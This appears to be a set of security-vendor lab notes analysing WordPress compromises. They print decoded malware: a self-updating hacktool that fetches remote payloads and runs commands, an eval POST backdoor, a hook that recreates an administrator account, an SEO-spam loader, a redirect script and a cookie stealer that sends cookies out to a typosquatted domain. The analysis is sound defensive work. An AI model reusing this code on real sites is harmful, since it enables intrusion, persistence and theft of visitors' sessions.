Attackers leveraging WP Maintenance plugin to deface websites

Recently, during a website investigation, we detected that attackers have been modifying the database structure of WP Maintenance plugin (which is a very popular wordpress plugin which adds a "down for maintenance" or coming soon page for your website) and inserting malicious code into wpmm_settings option to lead users to the harmful content.

The malware would change the plugin's database values to the defacement page like it follows:

The background:

"bg_custom";s:67:"https://www.website.com/wp-content/uploads/2017/07/anonymous.jpg";

And the message :

s:4:"text";
s:538:"<h2 class="pi-item pi-item-spacing pi-title">“When you’re stuck in a foreign country and don’t know the words for “reverse charges”
and you’re in some lonely skin joint in the middle of some poor slum and just had every last cent robbed from you and you call yourself a bodyguard then you know you’re a loser.\"</h2>
<p style="text-align: left"> </p>

Now, in order to "deface" the website, the attacker would only need to enable the maintenance page. No files were rewritten and inexperienced website owners may have some trouble figuring out what happened and how to fix.

It is worth to mention that the plugin is NOT vulnerable, the attackers were leveraging valid plugin functions instead of replacing the index.php file as usual.

The rendered code will result into something like this:

As website owners, we have to make sure our visitors have the best experience possible and won’t be at risk when accessing your website.

If you detected any unusual code or suspect of any unexpected behavior, we are here to help you get your website back on track.

Simple self updating hacktool

While working on a compromised website, it's very common to encounter hacktools. Those are like the attackers' swiss knife, allowing them to perform several tasks such as: DoS attacks, execute server level exploits and even simple filemanagers.


Sometime though, we find some very clever ones, such as this one infecting a WordPress website. It was able to download updated malware content from the internet and spread it to a new file.

The original code was hiding inside a Theme file:

wp-content/themes/THEME_NAME/framework/admin/framework-updates.php

The file content was obfuscated, as usual. Here's a small portion of it:

>>> ${"x47x4cOx42Ax4cx53"}["xx70tx68x62x62ent"]="cx64x78";${"GLOx42x41Lx53"}["x73ex6fx70ch"]="x62x6bx61vx64ox6ee";${"x47x4cx4fx42Ax4cx53"}["x70x65xx6bx78x79"]="x6fx70x65x6e";

Once decoded, the real code can be separated into two sections.

The first part uses a .tmp ("temporary") file stored into WordPress' uploads directory and it is used to detect whether this server has been already compromised or not:

<?php
error_reporting(0);
ini_set("display_errors",0);
$string=__FILE__;
if(strtolower(substr(PHP_OS,0,3))=="win")
$os="win";
else
$os="nix";
if($os=="win"){
while((substr($string,-1)!="\"))
$string=substr_replace($string,"",-1);
$filename=$string."..\..x5c..\..x5cuploads\tmp.tmp";
}
else{
while((substr($string,-1)!="/"))
$string=substr_replace($string,"",-1);
$filename=$string."../../../../uploads/tmp.tmp";
}
if(file_exists($filename)){
}
else{
$from_set="sahifa511@".$_SERVER["SERVER_NAME"];
$to="themesrv1@commandandcontrol.infected";
$subject="Accepted";
$header="from: ".$from_set;
$message="Link : http://".$_SERVER["SERVER_NAME"].$_SERVER["REQUEST_URI"]."rn";
$message.="Path : ".__file__;
$sentmail=@mail($to,$subject,$message,$header);
if($sentmail==true){
$open=fopen($filename,"w");
}
else{
};
}
?>

The code prepares the file path, adapting accordingly to the server's OS. Once the file path is ready, it checks for its existence.

If the file already exists, then nothing happens (empty IF block above). Otherwise, the code notifies the attacker via email and writes the file to the disk, which acts as flag for future executions.

The second part the code shows the attack's potential:

<?
if(isset($_POST["oldmtsfeatures"])){
$file=file_get_contents("http://infected.dom/newfile");
$open=fopen(getcwd()."/wp-mail-sample.php","w");
$yes=fwrite($open,"<?php $file ?>");
if($yes){
echo"<br>done";
}
else
echo"SomethingWentWrong";
if(isset($_POST["elf"])){
$elf=$_POST["elf"];
switch($elf){
CASE 1:{
$file=file_get_contents("http://files.hackingtruth.org/raw/0.txt");
$open=fopen($string."themefile1.php","w");
$yes=fwrite($open,"<?php $file ?>");
echo"1 executed";
break;
}
CASE 2:{
$file=file_get_contents($_POST["addr"]);
$open=fopen($string.$_POST["filewithext"],"w");
$yes=fwrite($open,"$file");
echo"2 executed";
break;
}
CASE 3:{
$cdx=$_POST["cdx"];
$bkavdone='system';
$bkavdone($cdx);
break;
}
CASE 4:{
call_user_func_array("assert", array($_REQUEST["comnd"]));
break;
}
}
}
}
?>

If the attacker posts any content on a "oldmtsfeatures" key, the actual hacktool is executed, and the code is able to spread the infection:

It downloads malware from a remote site and saves it to another file inside the theme's folder: wp-mail-sample.php

The attacker will use the elf option to select what action the malware will perform.

Options 1 and 2 are yet another spreading tools, which downloads code from another URL, fixed or obtained via POST, and saves it as theme file. Again, the file name could be fixed (themefile1.php) or obtained via POST. Case 2 in particular is very clever, since the malware is able to overwrite itself, with an updated version of the hacktool.

Options 3 and 4 are the most destructive part of the code, since they perform Remote Code Execution. The attacker sends it command to be run via POST, and executes them using a regular system() call or via a more clever execution of PHP's assert() function.

SEO spam loading from external site

Many websites get compromised and used for SEO in order to drive traffic to other websites that would usually be ranked very low or completely removed by Google due to their content. Recently I found some malware pulling spam content from chinajianzhan[.]cn.


The script attackers injected is very simple, they just use the file_get_contents() function to access the crafted URL using a specific user-agent which then returns the spam content, this helps them hide the spam content from search engines.

Here is the snippet:

<?php set_time_limit(0);header("Content-Type: text/html;charset=gb2312");$Remote_server = "hxxp://www[.]chinajianzhan[.]cn/bc/";$host_name = "http://" . $_SERVER['SERVER_NAME'] . $_SERVER['PHP_SELF'];$userAgent = $_SERVER['HTTP_USER_AGENT'];$Content_mb = getHTTPPage($Remote_server . "/index.html?host=" . $host_name);echo $Content_mb;exit();function getHTTPPage($url) { $opts = array('http' => array('method' => "GET", 'header' => "User-Agent: aQ0O010O")); $context = stream_context_create($opts); $html = @file_get_contents($url, false, $context); if (empty($html)) { exit("<p align='center'><font color='red'><b>Connection Error!</b></font></p>"); } return $html;}

The original version of the code was encoded using vidun[.]com and the code was added to randomly named files like can.php and michao.php

Here is an excerpt of the original code:

<?php // This file is protected by copyright law & provided under license. Copyright(C) 2005-2009 www.vidun.com, All rights reserved. $OOO0O0O00=__FILE__;$OOO000000=urldecode('%74%68%36%7 (Trimmed) Vfe48R3E+wJL7eWp9eWpZcbO1FM4Ikoi0dBX7eWp9eWP=

We highly recommend keeping your WordPress up to date and making sure that all of your passwords are unique and secure, the impacts of SEO spam on your website can be very large, your website could rank lower in search results along with being blacklisted which can take many weeks to resolve.

Evil Self-Regenerating WordPress Administrator User

Attackers often aim to conceal their presence using different methods, such as injecting redirect scripts, creating spam pages, or hiding a mailer in checkout pages to steal credit cards; but this is not always the case.


We've seen some websites where hackers were doing the very opposite. Recently, we noticed a malicious administrative user who had managed making a permanent account to the system. When the actual website administrator attempted to remove the bad guy, WordPress reported that the user was successfully deleted. However, after reopening the Users tab, the unwanted admin user appeared again as if nothing happened.

Such behavior gives the impression that the user is a permanent part of the system since they remained in the Users tab!

After the investigation, we found that the following code was injected in the website theme functions.php file:

function admin_account(){$user = 'admin2';$pass = 'Abc12345!'; $email = 'email2@domain.com';if ( !username_exists( $user ) && !email_exists( $email ) ) {$user_id = wp_create_user( $user, $pass, $email );$user = new WP_User( $user_id );$user->set_role( 'administrator' );} }add_action('init','admin_account');

What does this snippet mean? The code is pretty simple. We can see that it defines the function named admin_account. It specifies only three parameters required for user creation – user, password, and email.

Then the if conditional statement checks if the user is already present on the system. - and if not - it creates a new one. So, the regenerating function is ready. What next?

The function needs to be triggered quite often to grant the bad user ability to regenerate immediately. For that purpose, attackers have added the last part of the code, binding the admin_account function to the init action which is triggered when most of the WordPress is loaded.

Removing the mentioned code from functions.php file ceased the "immortality" of the bad user and evil was banished.

Most of the time, attackers will inject malware into different parts of your system to maintain access to the compromised website, even if the obvious backdoor is removed. Knowing your site’s structure and performing an active monitoring of it (being alerted whenever a file is changed or added to your site) will help you to identify the alien admin users and unwanted code injections.

If you see your site having unwanted administrator users but you can’t locate the code that is creating them, you might want to have us scan your site for malware and clean it.

Small One-liner Backdoor

During an incident response investigation, we detected an interesting backdoor that was small but had the potential to give the attacker full access to your website and all its content.

Let’s review the backdoor content which was placed into the wp-content/themes/newaffpower/functions.php file:

@$A='Acc';$p='_';$o='P​O';$s='S';$t='T';;@​eval​(${$p.$o.$s.$t}['​WordPass']);

The attacker placed the code at the bottom of a legit file and, when called with the required field, could allow the attacker full system access of the website.

Let’s work through the malicious code step by step to see how it works and how it enables the attacker to gain access to your website files.

First, the variable $A is set to ‘Acc’ but is not used during the attack:

@$A='Acc';

The attacker then created individual entries that will be combined and then executed the malicious payload:

$p='_';
$o='PO';
$s='S';
$t='T';;

The final part of the attack is where the attacker includes his malicious payload in the ‘WordPass’ POST parameter. (Looks like \'WordPress\', but even \'WordPress\' would not make it any more legitimate)

@​ev​al($​{$p.$o.$s.$t}['WordPass']);

The complete piece of malicious code would look like the string below.

@​eval​($_POST[​'WordPass']);

In the screenshot below, I’m simulating a POST request to the website in order to gain access to important files on the server.

This will execute any content passed by the attacker that could give the attacker full access to your website files/folders.

If you want to be sure that your website is not infected, or if you need help cleaning it up, let us know.

Yet Another Expired Domain causes WP Plugin to...

Malicious redirects are very common in compromised websites. Attackers try to take advantage of the site resources to promote spam, distribute other malware/backdoors, and perform all kinds of malicious activities.

The type of attack described in this labs note though, doesn’t involve a single website being compromised but lots of them being affected by it at the same time. Although this is not a new technique and we’ve already covered in a blog post here (https://blog.sucuri.net/2016/08/plugin-expired-domain-security-threat.html), this variant caught our attention because another plugin was being targeted.

During an Incident Response investigation, we found that malicious redirects were coming from a JavaScript loading via the website enmask.com, which is part of a WordPress plugin called “Enmask Captcha”. https://wordpress.org/plugins/enmask-captcha-text-based-hosted-captcha-solution/

“This plugin hasn’t been updated in over 2 years. It may no longer be maintained or supported and may have compatibility issues when used with more recent versions of WordPress.“

Their domain appears to have expired and somebody else purchased it and now anyone using this plugin would experience redirects on their website since the new owner of the domain is deliberately redirecting users.

Here are some more details about this plugin and what is causing the redirect:

Code found on the page:

&
lt;script type="text/javascript" data-enmask-langcode="en-US" src="hxxp://enmask[.]com//Scripts/Enmask.Captcha.js" data-enmask="true" data-enmask-name="myCaptcha"></script>

Clicking anything on the website leads to this page:

http://findbetterresults[.]com/?dn=enmask.com&pid=9PO755G95

The redirect is caused by the following JavaScript which gets returned when requesting any JavaScript file from the domain; it looks like the new owner of the domain is doing this intentionally:

if (typeof _popwnd == 'undefined') {
   var _popwnd = -1;
    function _popwnd_open(){
       if (_popwnd!=-1) return;
       _popwnd = window.open('hxxp://findbetterresults.com/?dn=enmask.com&pid=9PO755G95', '_blank', '');
       _popwnd.blur();
       window.focus();
    }
};
window.addEventListener('click', _popwnd_open);

If you happen to be using this plugin, we highly recommend removing and/or replacing it with another one which is still supported and could provide you similar functionalities.

Loading images and/or scripts from external websites is not recommended (exceptions may apply, like big CDNs or services like Facebook or Ad networks) for various reasons and here are some:

  • If your website looks and feels, or even its functionality relies on those external resources, any availability issues they have will impact on your website;

  • If the resource you fetch the content from is compromised, your site may be used to distribute unwanted content (even malicious content) without your consent (like we described in this labs note).

WordPrssAPI Steals Your Cookies

Cookies are an important part of a visiting session on a website. It is used not only to keep track of actions taken on a specific website by a particular user, but also its login sessions. Having those cookies stolen can easily lead to a compromise of any admin area you visit and allow the attacker to know what you did on that specific website.

These types of attack (Cookie Stealing and Session Hijacking) are not the most common ones due to the complexity involved in the process and because they are usually time sensitive (cookie expiration).

During an incident response investigation, we found a Cookie Stealing malware pretending to be working with one of WordPress’s core domains. Hackers injected an obfuscated (typical eval(function(p,a,c,k,e,d) obfuscation) JavaScript code at the bottom of legitimate .js files such as wp-includes/js/hoverIntent.min.js. Once decoded we see the following:


function adsadsgg() {  var gd = document.cookie.indexOf("_utmzz=");  if (gd == -1 && (/Applebot|baiduspider|Bingbot|Googlebot|ia_archiver|msnbot|Naverbot|seznambot|Slurp|teoma|Yandex|Yeti/i.test(navigator.userAgent) == false)) {     var rd = Math.floor(Math.random() * 2);     if (rd == 0) {          var sss = document.createElement('script');         sss.src = "hxxps://code.wordprssapi[.]com/ajax/json.aspx?c=" + escape(document.cookie);            document.body.appendChild(sss)      }       var dd = new Date();        dd.setTime(dd.getTime() + 86400000);        window.document.cookie = "_utmzz=ga; expires=" + dd.toGMTString() }}if (typeof(jQuery) != 'undefined') {  jQuery(function() {     adsadsgg()  })} else {  window.onload = function() {        adsadsgg()  }}

In the snippet above, we can see that the stolen cookie data is being sent to the fake domain code.wordprssapi[.]com (see the typo?) which is a way to trick people into thinking that it actually sends it an official WordPress domains, which it is not. And by the way code.wordprEssapi.com also has nothing to do with real WordPress. Actually, even if it was an official WordPress domain, sending your cookies to it would be a big red flag! It’s a private information that should not be shared with any third-parties. Like passwords.

The attackers also went the extra mile to ensure that they do not receive any cookie information from crawlers and bots such as Googlebot so that they only receive data that can be immediately used.

As the malicious code was injected into a WordPress core file, a quick integrity check would alert the user about the issue. For more detailed instructions on how to clean a hacked WordPress site check our step-by-step guide.